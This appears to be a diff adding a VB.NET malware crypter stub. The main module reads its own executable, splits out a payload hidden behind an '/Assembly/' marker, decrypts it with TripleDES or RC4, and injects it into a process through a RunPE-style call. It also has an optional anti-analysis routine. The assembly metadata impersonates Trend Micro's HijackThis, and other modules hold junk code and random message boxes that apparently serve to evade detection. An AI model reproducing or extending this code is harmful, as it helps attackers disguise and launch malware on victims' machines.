msgbox("MdGdrXqoeLarQfxzewtjRTjNuGZvxFUvCkAMwJJviCdwORiGYmqqPssmeEHLVxicBederbrlqkNxBkdOZQTLOvZePobuORaJwGJRWHsSZpgBgFnjjIPPbrvpIlHkwRmrCfNbTaBvWGNVgjVkqJsjEqtktTxVDzgyuHgwSEIdFGSLjyJpySbasxXwIXsNxDLnvEofCnmwiazxcNpgXDzQnFLvYkbzUmOUdTFxBsRcljZRiALRaOMDIEpjmTHJ")
|
||||
Dim CrqELhrENfrgLMhQCMYdULrsgelPEuxeiGnxWZqbpUMwkfFFGkyTvn As Integer = 2496439 + 463213 + 463213 + 294844
|
||||
Dim nSXvwbrGUHVbGVYxHfPXwiIECkcQyV As Integer = 4428768 + 664062 + 495694 + 495694
|
||||
Dim BHvxmoudTgMtzxpwmGMxowUIa As String = "siajqVpYdvKjyyamGehgqksXNEybxWzklupbzoTSDGqxsUaidsVJblrJySU"
|
||||
Dim IuKBnfyOZEeXMVKGzGYSWkMjkQVbVjBkvSpPnIdkdrSzyFWYtniYIMa As Integer = 992114
|
||||
Dim ZnxZvPIhSXVDvdyxqaaSjvZBFfnYSQXOYeInTDRjettTpUBHDFdlxuJJCZC As Integer = 8293425 + 1065761 + 1065761 + 405958
|
||||
Dim hwHzvxpEgNBygojmWMsozopdvUyHGHuNZMTl As Integer = 5497765 + 775176 + 606807 + 606807
|
||||
Dim ITDUuwWaOpuFkNlQMNDVnekyBL As String = "QKJesMRdqtLpccohtXpinGwDXakNhCBdNoYPkruCaZwLSEytVJIDncsenhYZN"
|
||||
Dim mxMqGqjZSeQHErlCrBzAzrHEWpglSiNVwRWhJvrLQJLmELWTZMsvpqs As Integer = 619113
|
||||
msgbox("WfwfHiYWyEmMDbatflhaljJzRtlJXfXXfiEUZJOuApIUWCHUpBEKnMazSmPBTdUJkSznDLqWuicAHPgCWZIMkUfphAgMIjqOYjQckGsiUMLffgNJDverYscsCcVjWxskiifwgxYTaYLmVRewJXVpahdPRVrBkvnMTKMznQKTImRBJwOxYPsWfQkVUwCxOJuwEKN")
|
||||
Dim WROlyGvxBsKwsTreVUFHupbFbbljdSeOcMfVsjgiTWgIiauCDRZRSMlA As Integer = 9362423 + 517071 + 517071 + 348702
|
||||
Dim xacMuEosObwJKRDQ As Integer = 4946922 + 717920 + 1087138 + 1087138
|
||||
Dim HVIvjbvjanRPIbyqmkEslptYKjeWJRGhPvnrjHJbDrlL As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim aOcavhtUqhFNxOPcdHoMScdEcBLIZsxgRxykuHBzyTLxkaGkSEDK As Integer = 8811579 + 459815 + 459815 + 459815
|
||||
msgbox("bwKTfeoQxKHjliteDlevtERSkWIgxquzSSPCiDPnhEiiKxoWsRlfctfiVSJMHDehSYagPFZXtgYClShhppcXzeTlGdcBFQcjWfzgvWzUbFkSkhGNnUMzgzPekTWZLQXHbzvevrZibpbHcdtQjVwmrsBMFBKutxCawVBkGgMozGvixcr")
|
||||
msgbox("XjXAFIxtiPRipiHnGzZxKHItsLCxgJnWdRZmOaNJDHwwZCsQAeFLgHcrKRVNDeVMdGGFBNSeaSiGnSpigVqMKHWHbLOknzmFXiuZFXfYDFGgfmmZIpikzRPOxalUiUQLlwmzTNKcNKoqeBNrSWAqCvLaRJPwNwhMaxepANbgmkaBrlnauRqscWefRNvflJIyXnQIIwCXIfLZbThMUcxGhVqTenYkIhOJKTrUzrFrKysa")
|
||||
Dim fuSfvAIEHiUwFaCrFhYNDTkgxsytURWBbSMMNVnyZkFWuRuPoZPiHHNN As Integer = 813476
|
||||
Dim uwQUWkGlPikyBVyovCdvBTmIRhhbCLwnPpUzBhDjFJXumrCgGGHjOznX As Integer = 753618
|
||||
msgbox("fWjXeAjXoEjCWBSoMsZrxNnlToMVWOjXQkQGzxBfTNAlCSZIRtEFcRdSEJvwgxpzgnHnHCExrUBSJuFfEYrQbhwSkaZYIsUFXkxWoyloEUmEOouqnZaBLCOigHWJWrDQMCpLVJlmJGYDsXgXVtTVJwUxuyALyPcPAkzMdFuaHbYXYPDIDakfvmCscvanPghjpdpin")
|
||||
msgbox("eLSzTAiKZbimfSymBDGlAatWLLxpcHrXCexFQSEavSzZJFMPLtZGKnmBqIBwFcQyYQjEtFdsWHgbHzVXubhZoFcBaBdwRNEvuRpFeivvDqtBzUMrDuqyNxFDSmrxlkvwQcgQyVtRsOzGPmaHovRkJlJpSJGIqOejqsUtdoMorWOzdVAACZYtEpctcOllHVtrTIWwvIquBJAnRrbEwaYfaexzvvnMZdADTziczSSXXYfHVrCWuiFybQkjByWgvWuuUTKyg")
|
||||
Dim yRtpCGjAhqPTKZZTpJOkwiQNYlWVqVUeUqGtQruMUVBfOsdcycbuYmGr As Integer = 7602295 + 993924 + 334120 + 334120
|
||||
msgbox("jEinZuqoJuwYTmNzUEPCAIcHXrkNjqCcuBGeRRbcMeHrIkaxWIVbAntiVaIZzpRBazlOtywYEJwlgqatuMqXynPIiasQnhOodvlygKpKndfPRZDTpLnxVdePNnCvbnhYEjWrGVxUOiUjpHyHKAbLscalKIBUrdNlFKFAvBGliTfDdJyqFaWTtHu")
|
||||
End Sub
|
||||
|
||||
End Module
|
||||
@@ -0,0 +1,38 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
'NOTE: This file is auto-generated; do not modify it directly. To make changes,
|
||||
' or if you encounter build errors in this file, go to the Project Designer
|
||||
' (go to Project Properties or double-click the My Project node in
|
||||
' Solution Explorer), and make changes on the Application tab.
|
||||
'
|
||||
Partial Friend Class MyApplication
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Public Sub New()
|
||||
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
|
||||
Me.IsSingleInstance = false
|
||||
Me.EnableVisualStyles = true
|
||||
Me.SaveMySettingsOnExit = true
|
||||
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
|
||||
End Sub
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Protected Overrides Sub OnCreateMainForm()
|
||||
Me.MainForm = Global.winini.Form1
|
||||
End Sub
|
||||
End Class
|
||||
End Namespace
|
||||
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
||||
<MySubMain>true</MySubMain>
|
||||
<MainForm>Form1</MainForm>
|
||||
<SingleInstance>false</SingleInstance>
|
||||
<ShutdownMode>0</ShutdownMode>
|
||||
<EnableVisualStyles>true</EnableVisualStyles>
|
||||
<AuthenticationMode>0</AuthenticationMode>
|
||||
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
|
||||
</MyApplicationData>
|
||||
@@ -0,0 +1,39 @@
|
||||
Imports System.Resources
|
||||
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
Imports System.Runtime.InteropServices
|
||||
|
||||
' General Information about an assembly is controlled through the following
|
||||
' set of attributes. Change these attribute values to modify the information
|
||||
' associated with an assembly.
|
||||
|
||||
' Review the values of the assembly attributes
|
||||
|
||||
<Assembly: AssemblyTitle("Hijack This")>
|
||||
<Assembly: AssemblyDescription("Hijack This")>
|
||||
<Assembly: AssemblyCompany("Trend Micro Inc")>
|
||||
<Assembly: AssemblyProduct("HijackThis")>
|
||||
<Assembly: AssemblyCopyright("© 2007 Trend Micro Inc")>
|
||||
<Assembly: AssemblyTrademark("Trend Micro 2007")>
|
||||
|
||||
<Assembly: ComVisible(False)>
|
||||
|
||||
'The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
<Assembly: Guid("f6ccd71f-6e6e-4047-8f16-321273aeaaea")>
|
||||
|
||||
' Version information for an assembly consists of the following four values:
|
||||
'
|
||||
' Major Version
|
||||
' Minor Version
|
||||
' Build Number
|
||||
' Revision
|
||||
'
|
||||
' You can specify all the values or you can default the Build and Revision Numbers
|
||||
' by using the '*' as shown below:
|
||||
' <Assembly: AssemblyVersion("1.0.*")>
|
||||
|
||||
<Assembly: AssemblyVersion("2.00.00.2")>
|
||||
<Assembly: AssemblyFileVersion("2.00.00.2")>
|
||||
|
||||
<Assembly: NeutralResourcesLanguageAttribute("en-US")>
|
||||
@@ -0,0 +1,63 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
|
||||
Namespace My.Resources
|
||||
|
||||
'This class was auto-generated by the StronglyTypedResourceBuilder
|
||||
'class via a tool like ResGen or Visual Studio.
|
||||
'To add or remove a member, edit your .ResX file then rerun ResGen
|
||||
'with the /str option, or rebuild your VS project.
|
||||
'''<summary>
|
||||
''' A strongly-typed resource class, for looking up localized strings, etc.
|
||||
'''</summary>
|
||||
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
|
||||
Friend Module Resources
|
||||
|
||||
Private resourceMan As Global.System.Resources.ResourceManager
|
||||
|
||||
Private resourceCulture As Global.System.Globalization.CultureInfo
|
||||
|
||||
'''<summary>
|
||||
''' Returns the cached ResourceManager instance used by this class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
|
||||
Get
|
||||
If Object.ReferenceEquals(resourceMan, Nothing) Then
|
||||
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("winini.Resources", GetType(Resources).Assembly)
|
||||
resourceMan = temp
|
||||
End If
|
||||
Return resourceMan
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Overrides the current thread's CurrentUICulture property for all
|
||||
''' resource lookups using this strongly typed resource class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend Property Culture() As Global.System.Globalization.CultureInfo
|
||||
Get
|
||||
Return resourceCulture
|
||||
End Get
|
||||
Set
|
||||
resourceCulture = value
|
||||
End Set
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,117 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
|
||||
<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
||||
@@ -0,0 +1,73 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0"), _
|
||||
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Partial Friend NotInheritable Class MySettings
|
||||
Inherits Global.System.Configuration.ApplicationSettingsBase
|
||||
|
||||
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
|
||||
|
||||
#Region "My.Settings Auto-Save Functionality"
|
||||
#If _MyType = "WindowsForms" Then
|
||||
Private Shared addedHandler As Boolean
|
||||
|
||||
Private Shared addedHandlerLockObject As New Object
|
||||
|
||||
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
|
||||
If My.Application.SaveMySettingsOnExit Then
|
||||
My.Settings.Save()
|
||||
End If
|
||||
End Sub
|
||||
#End If
|
||||
#End Region
|
||||
|
||||
Public Shared ReadOnly Property [Default]() As MySettings
|
||||
Get
|
||||
|
||||
#If _MyType = "WindowsForms" Then
|
||||
If Not addedHandler Then
|
||||
SyncLock addedHandlerLockObject
|
||||
If Not addedHandler Then
|
||||
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
|
||||
addedHandler = True
|
||||
End If
|
||||
End SyncLock
|
||||
End If
|
||||
#End If
|
||||
Return defaultInstance
|
||||
End Get
|
||||
End Property
|
||||
End Class
|
||||
End Namespace
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
|
||||
Friend Module MySettingsProperty
|
||||
|
||||
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
|
||||
Friend ReadOnly Property Settings() As Global.winini.My.MySettings
|
||||
Get
|
||||
Return Global.winini.My.MySettings.Default
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<asmv1:assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
|
||||
<security>
|
||||
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<!-- UAC Manifest Options
|
||||
If you want to change the Windows User Account Control level replace the
|
||||
requestedExecutionLevel node with one of the following.
|
||||
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
|
||||
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
|
||||
<requestedExecutionLevel level="highestAvailable" uiAccess="false" />
|
||||
|
||||
If you want to utilize File and Registry Virtualization for backward
|
||||
compatibility then delete the requestedExecutionLevel node.
|
||||
-->
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</trustInfo>
|
||||
</asmv1:assembly>
|
||||
@@ -0,0 +1,101 @@
|
||||
Imports System.Windows.Forms
|
||||
Imports System.Text
|
||||
|
||||
Module Mymod
|
||||
Dim res As String
|
||||
|
||||
Public Function ReplacedrandomNumber(ByVal min As Integer, ByVal max As Integer) As Integer
|
||||
Dim Replacedrandom As New Random()
|
||||
Return Replacedrandom.Next(min, max)
|
||||
End Function
|
||||
|
||||
Public Function ReplacedrandomString(ByVal size As Integer, ByVal lowerCase As Boolean) As String
|
||||
Dim Replacedbuilder As New StringBuilder()
|
||||
Dim Replacedrandom As New Random()
|
||||
Dim ch As Char
|
||||
Dim i As Integer
|
||||
For i = 0 To size - 1
|
||||
ch = Convert.ToChar(Convert.ToInt32((26 * Replacedrandom.NextDouble() + 65)))
|
||||
Replacedbuilder.Append(ch)
|
||||
Next i
|
||||
If lowerCase Then
|
||||
Return Replacedbuilder.ToString().ToLower()
|
||||
End If
|
||||
Return Replacedbuilder.ToString()
|
||||
End Function
|
||||
|
||||
Public Function GetReplacedrandom() As String
|
||||
Dim Replacedbuilder As New StringBuilder()
|
||||
Replacedbuilder.Append(ReplacedrandomString(4, True))
|
||||
Replacedbuilder.Append(ReplacedrandomNumber(1000, 9999))
|
||||
Replacedbuilder.Append(ReplacedrandomString(2, False))
|
||||
Return Replacedbuilder.ToString()
|
||||
End Function
|
||||
|
||||
Sub Main()
|
||||
Dim Cuttkey As String = "/Assembly/"
|
||||
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
|
||||
res = Space(LOF(1))
|
||||
FileGet(1, res)
|
||||
FileClose(1)
|
||||
|
||||
Dim Cutter() As String
|
||||
Cutter = Split(res, Cuttkey)
|
||||
|
||||
Dim key As String = Cutter(2)
|
||||
Dim entype As String = Cutter(3)
|
||||
Dim antyw As String = Cutter(4)
|
||||
Dim processZ As String = Cutter(5)
|
||||
Dim mlt As String = Cutter(8)
|
||||
If processZ = "own" Then
|
||||
processZ = Process.GetCurrentProcess().MainModule.FileName
|
||||
End If
|
||||
|
||||
If antyw = "true" Then
|
||||
ant.mofo()
|
||||
End If
|
||||
|
||||
If Cutter(6) = "yes" Then
|
||||
If entype = "tripleDES" Then
|
||||
Dim Str As String = _3des.a(Cutter(7), key, True)
|
||||
Dim ByteArray() As Byte
|
||||
ByteArray = Encoding.Default.GetBytes(Str)
|
||||
Try
|
||||
rp.MakeIt(ByteArray, processZ)
|
||||
Catch ex As Exception
|
||||
|
||||
End Try
|
||||
ElseIf entype = "rc4" Then
|
||||
Dim Str As String = _4cr.enc(Cutter(7), key)
|
||||
Dim ByteArray() As Byte
|
||||
ByteArray = Encoding.Default.GetBytes(Str)
|
||||
Try
|
||||
rp.MakeIt(ByteArray, processZ)
|
||||
Catch ex As Exception
|
||||
|
||||
End Try
|
||||
End If
|
||||
End If
|
||||
|
||||
If entype = "tripleDES" Then
|
||||
Dim Str As String = _3des.a(Cutter(1), key, True)
|
||||
Dim ByteArray() As Byte
|
||||
ByteArray = Encoding.Default.GetBytes(Str)
|
||||
Try
|
||||
rp.MakeIt(ByteArray, processZ)
|
||||
Catch ex As Exception
|
||||
|
||||
End Try
|
||||
ElseIf entype = "rc4" Then
|
||||
Dim Str As String = _4cr.enc(Cutter(1), key)
|
||||
Dim ByteArray() As Byte
|
||||
ByteArray = Encoding.Default.GetBytes(Str)
|
||||
Try
|
||||
rp.MakeIt(ByteArray, processZ)
|
||||
Catch ex As Exception
|
||||
|
||||
End Try
|
||||
End If
|
||||
End
|
||||
End Sub
|
||||
End Module
|
||||
@@ -0,0 +1,150 @@
|
||||
Module RCyZjqbYzUcQEfmjWRSf
|
||||
Public Sub FmvRjbNbrIQnGciWLMxgiHsXvVGgglDRFlHNFgtwtS(ByVal RxhkFPkBBdvBWTjQzpblLzaTrlwdzOUvttungEPoLfDtBNKR As String)
|
||||
Dim eJfrcwFkxnjGcltZuf As Integer = 1945596 + 405958 + 775176 + 775176
|
||||
Dim DaJNLYPJwKoHIUlrjPsLVnrUrr As String = "jsVXPSEINSiwhWxlcHtFUVObnxfDtcFxUoVOqezsZdRFBTsBH"
|
||||
Dim bDobsaTJqHHLCQKmAKemjPFwK As String = "rcMNokyqPwLUqxoNoYHYYlghLqeSkmtXiSnqnnpQlpIzlHaDevuoeWxWUxrrPIl"
|
||||
Dim OGnRNuYMjaKWFbdXvfCIlmMzJlSjHvsKtOWmjgJPqHHHVItqwIbNjAy As Integer = 766371
|
||||
msgbox("zdjcLbEgNoXaznJZncxHMDkHinxdGVMQNGypHoRuUbkKgjzVBkcDNgGaheHDaiIaswnmKqXrqkxEzjoeojwuqqwycuFWbQFuDGgpKQXQoWobrVgvOhhBkOHYirVDwCEUJuCTwvUOfukyzdaQqmJtkjqtNedVaaHwYSesHOPgcLLqKmZkjGFsejxFgPFsBSQULkoigDJMu")
|
||||
Dim BFqYGdaasAVNZnXavJShRnVQEZbTtTWJDPPtVHRNuBiswFGWcVvIRUJ As Integer = 9362423 + 517071 + 517071 + 517071
|
||||
Dim DijgXzZDpGqJZKOu As Integer = 4946922 + 717920 + 717920 + 1087138
|
||||
Dim HpbTKRXYKmWDxLIocdxCvDtSBtHeaNwoZmTFtpqAdjVlOXouMQ As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim vJexBxiRPKAFgTKldWeCPWRnfZXsMwKdVqpTXcMSxxXmBTkokHMq As Integer = 8811579 + 1119618 + 459815 + 459815
|
||||
msgbox("DDLOlwRuEQywXKjtKJOBCrxSSSMMjkZmjVcRmsXBkIOhszOXKqQyCVXBhYuHRgDBlfCaJlMZneJVBzmmUJZokOSqtBaXBjYEkLesQrdhBhWWmdisPhdEBSvtdWrqpozDHhvDGEjgCmpQCiRzXgReEbVRNEjuiruGgOqojUufQODnzICOScewukHTZUqShnYWgdEhziXmTjBV")
|
||||
msgbox("FpUbatbLYJONoIsPfImMNzEvSiYvFSprspccAjKxzXxnjShkviBxRLGhaIBtLBorzwfHDESaQfNhiboTiCwFOBfRBqWgMKcnikxDREuIdIejUkHfBrraoZWNDICvruzsBiGXnlJwhSjbviiIeHwXgZlpjPdiHBVLRIFFFmudfxVlKLq")
|
||||
msgbox("pYlsjkiWDgyYMSIbFUJoPIySvVHOBmYdgwJsmlfWnqLJxGpGTSszvjUFdqqeHOHjxvXVxehZEPPWtUwyHFXkMNuvNUNsivrxEjffXowOXdNNapsDhtKYWsegHSRlGyHkObmWqvnzRzyOypcpCBnlmjuRGCRYYxCWlGDANxdtwWsERS")
|
||||
Dim JOOmkqfOoksDBUltghzFCVzjyuWaDNckLxRFuYPsBIPsOKGnnajtPZ As Integer = 813476
|
||||
Dim hNyfEVOcwBIvsYcuqCemjetapQkFyEjcmjbZmXIxXODTHiorEFsgzqoz As Integer = 753618
|
||||
Dim ThrimkWsUPMrWVVyUorTVOyZlbutQtkFvYIHjnuElXpraOyctsYhwvq As Integer = 606360
|
||||
msgbox("wxdJkFFpVVBtyfHmwOkabDvRryrwQCSRUNivZhiiLlwkrCmAtNVZLBrLNfUwMUwsJrIheeMjrschdFpJRuTyiBtAIyzEAZadjZmUsLAUihbnECXpmyMznSJNzsOUbeOyRyDJLqHPEqcCQHtTZPieTOvYGBvvjUfaDnDeinybKLcGjLXygQoYFLKzPdiUzAidaDsBC")
|
||||
Dim qqGKHMuHtjsYUqjeheDgLAaVlKMfLgUDMgbakJNSRxLxMXSujjNiKrve As Integer = 7602295 + 993924 + 993924 + 334120
|
||||
Dim ZUCjtGRgqGyrzYk As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim HHaJFxLzFyVwTGITMnrtazLjR As String = "MpjFcQGwnmvtXbOhiZoNnkxiIvQmcFoYPRzVpJWYHJdqDkQtJpDqhpCSgyTw"
|
||||
Dim RiRSSlGOwCMyzlxywRzQmoTSPJKCzLGZhFxvBSNBoETwUQftDIpNNhQ As Integer = 703541
|
||||
Dim KQbHopfcqFm As Integer = 8671292 + 1105037 + 1105037 + 445234
|
||||
Dim gVeLsMZttTfKOVCcXWbhtTTMo As String = "qSXvbIYqLFqffusZIvAbkZxEORzVHUvcMrqbeNRiMRJN"
|
||||
Dim UWDepDuHMgqsr As Integer = 4255792 + 646083 + 646083 + 1015301
|
||||
Dim pOjeTlwQFHHTycJsHbBNPGTGNtTcwKgQTwXxNHYNZLNCBNWxIbwqnUZz As Integer = 800723
|
||||
Dim wKhMceDdHRYgXPGIXgYbZOPolyVIiHNrHQCrYlvJmEbZdjrbtlANGvrz As Integer = 653464
|
||||
Dim hgQCWsNmIWUvBxoEmMpgdgNjUchTEUePKdlKsqgvspDdCwhDDZVpGsxbKJ As Integer = 9740290 + 556347 + 556347 + 556347
|
||||
Dim JuieTlKElRcmwawJGi As Integer = 5324789 + 757196 + 757196 + 588827
